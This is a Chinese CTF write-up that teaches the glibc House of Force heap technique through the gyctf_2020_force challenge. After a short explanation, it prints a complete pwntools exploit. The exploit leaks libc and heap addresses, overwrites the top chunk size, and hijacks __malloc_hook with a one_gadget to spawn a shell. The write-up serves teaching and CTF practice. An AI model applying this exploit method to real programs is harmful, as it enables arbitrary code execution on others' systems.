一道題學(xué)習(xí) House of force
本文來自“白帽子社區(qū)知識星球”
作者:Lee
首先說明一下House of force的利用條件:?
1.能夠通過堆溢出等方法控制到topchunk的size?
2.分配的大小沒有限制,即可以申請任意大小的堆塊?
3.能夠泄露出堆地址(topchunk)?
House of force 產(chǎn)生的原因: 在于 glibc 對 top chunk 的處理,進(jìn)行堆分配時,如果所有空閑的塊都無法 滿足需求,那么就會從 top chunk 中分割出相應(yīng)的大小作為堆塊的空間。若 top chunk 的 size 值是由 用戶控制的任意的值且很大時 (如0xffffffffffffffff),可以使得 top chunk 指向我們期望的任何位置,這就 相當(dāng)于一次任意地址寫. 我們通過buu的一道例題來學(xué)習(xí)一下house of force.

64位程序,保護(hù)機(jī)制全開?
IDA分析:

add()函數(shù)中沒有對申請的大小進(jìn)行判斷,符合了第二個條件,注意到輸入內(nèi)容時,不管申請多大的堆 塊,我們都只能寫入0x50大小的內(nèi)容,此時我們申請小于0x50的堆,就可以導(dǎo)致溢出,滿足第一個條 件,可以看到程序把我們申請的堆地址給打印出來了,就可以算出topchunk地址,滿足第三個條件。
1.申請一個很大的堆塊,系統(tǒng)會調(diào)用libc下方的mmap分配,此時通過具體的偏移算出libc地址?
2.通過溢出覆蓋topchunk的size為0xffffffffffffffff,在通過算出topchunk和malloc_hook的偏移,劫持 malloc為one_gadget,?
3.申請觸發(fā)one_gadget
exp:
from pwn import *
elf = ELF('./gyctf_2020_force')
io = remote('node4.buuoj.cn',27332)
#io = process('./gyctf_2020_force')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context(log_level='debug')
def choice(c):
io.recvuntil('2:puts\n')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil('size\n')
io.sendline(str(size))
io.recvuntil('t\n')
io.sendline(content)
#泄露libc
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x200000))#申請一個很大的堆塊,調(diào)用mmap分配
io.recvuntil('0x')
leak = int(io.recv(12),16)
success(hex(leak))
libc_base = leak+0x200ff0
success(hex(libc_base))
io.recvuntil('t\n')
io.sendline('AA')
#泄露堆地址
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))
io.recvuntil('0x')
leak1 = int(io.recv(12),16)
success(hex(leak1))
heap_base = leak1-0x10
success(hex(heap_base))
io.recvuntil('t\n')
io.sendline('A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
top_chunk = heap_base + 0x20
success(hex(top_chunk))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
offset = malloc_hook - top_chunk
success(hex(offset))
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(offset-0x33,'A'*3)
one_gadget = libc_base + one[1]
success(hex(one_gadget))
realloc = libc_base + libc.sym['realloc']
success(hex(realloc))
add(0x20,'A'*0x8 + p64(one_gadget) + p64(realloc+0x10))
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))
#gdb.attach(io)
io.interactive()
如果覺得本文不錯的話,歡迎加入知識星球,星球內(nèi)部設(shè)立了多個技術(shù)版塊,目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術(shù)區(qū)”、“漏洞分析”、“工具分享”五大類,還可以與嘉賓大佬們接觸,在線答疑、互相探討。
▼掃碼關(guān)注白帽子社區(qū)公眾號&加入知識星球▼
